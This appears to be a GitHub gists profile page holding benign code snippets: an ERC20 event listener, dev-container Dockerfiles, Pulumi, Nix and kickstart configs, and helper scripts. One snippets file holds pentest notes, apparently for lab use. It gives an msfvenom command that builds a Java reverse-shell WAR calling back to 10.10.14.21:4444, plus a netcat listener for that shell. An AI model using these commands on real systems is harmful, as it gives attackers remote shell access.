Skip to content

Instantly share code, notes, and snippets.

View offlinehacker's full-sized avatar
🤓
deploying awesomeness

Jaka Hudoklin offlinehacker

🤓
deploying awesomeness
View GitHub Profile
@offlinehacker
offlinehacker / subscribe-erc20-transfers.mjs
Last active November 23, 2021 12:32
Subscribe to ERC20 Transfer events
import { Contract, getDefaultProvider, utils } from "ethers";
const provider = getDefaultProvider("homestead");
const abi = [
"function symbol() view returns (string)",
"function decimals() view returns (uint8)",
"event Transfer(address indexed from, address indexed to, uint value)",
];
@offlinehacker
offlinehacker / Dockerfile
Created March 8, 2021 12:04
k3s dind rootless devcontainer
FROM xtruder/debian-nix-devcontainer:flakes
# docker user
ARG DOCKER_GID=966
RUN groupadd -g ${DOCKER_GID} docker && usermod -a -G docker ${USERNAME}
# create volume for pulumi
RUN sudo -u user mkdir -p /home/${USERNAME}/.pulumi
VOLUME /home/${USERNAME}/.pulumi
@offlinehacker
offlinehacker / Dockerfile
Last active August 20, 2021 11:55
dind k3s devcontainers root
FROM xtruder/debian-nix-devcontainer:flakes
# docker user
ARG DOCKER_GID=966
RUN groupadd -g ${DOCKER_GID} docker && usermod -a -G docker ${USERNAME}
# create volume for pulumi
RUN sudo -u user mkdir -p /home/${USERNAME}/.pulumi
VOLUME /home/${USERNAME}/.pulumi
@offlinehacker
offlinehacker / olm.ts
Last active August 20, 2021 11:55
Operator lifecycle manager deployed with pulumi
import * as path from 'path';
import * as pulumi from '@pulumi/pulumi';
import * as k8s from '@pulumi/kubernetes';
import { filesDir } from './util';
interface OperatorLifecycleManagerArgs {
namespace?: pulumi.Input<string>;
imageRef?: pulumi.Input<string>;
@offlinehacker
offlinehacker / csv2pocket.py
Created October 16, 2020 18:33
csv2pocket - tool to import csv to pocket
import csv
import argparse
import sys
import requests
parser = argparse.ArgumentParser()
parser.add_argument("--csv", help="CSV to import", required=True)
parser.add_argument("--encoding", help="File encoding", default="utf-8")
parser.add_argument("--token", help="API token to use", required=True)
parser.add_argument("--consumerkey", help="Consumer key token to use", required=True)
mnemonic
libagent
ecdsa
@offlinehacker
offlinehacker / silverblue32-kickstart.cfg
Created September 14, 2020 14:04
Fedora silverblue 32 virt-install
#version=DEVEL
# OSTree setup
ostreesetup --osname="fedora" --remote="fedora" --url="https://d2uk5hbyrobdzx.cloudfront.net/" --ref="fedora/32/x86_64/silverblue" --nogpg
# Reboot after installation
reboot
# Use text mode install
text
# Use network installation
url --url="https://ftp.fau.de/fedora/linux/releases/32/Everything/x86_64/os/"
@offlinehacker
offlinehacker / container.nix
Last active August 20, 2021 11:55
nixos container
{ pkgs, lib, ...}: {
imports = [
./nixos/modules/profiles/minimal.nix
];
boot.isContainer = true;
boot.specialFileSystems = lib.mkForce {};
networking.hostName = "";
services.journald.console = "/dev/console";
[[snippets]]
description = "create java reverse shell"
command = "msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.21 LPORT=4444 -f war > shell.war"
tag = ["reverse", "shell", "java", "metasploit", "msfvenom"]
output = ""
[[snippets]]
description = "listen for reverse shell"
command = "nc -tnlvp 4444"
tag = ["reverse", "shell", "netcat"]
@offlinehacker
offlinehacker / startxephyr.sh
Created March 18, 2020 08:02
Script to start xephyr xorg server and desktop session under another user
#!/usr/bin/env bash
set -xe
target_user="$1"
target_home=$(getent passwd $target_user | cut -f6 -d:)
# Find free display number
for ((display_number=1 ; display_number <= 100 ; display_number++)) ; do
[ -e /tmp/.X11-unix/X$display_number ] || break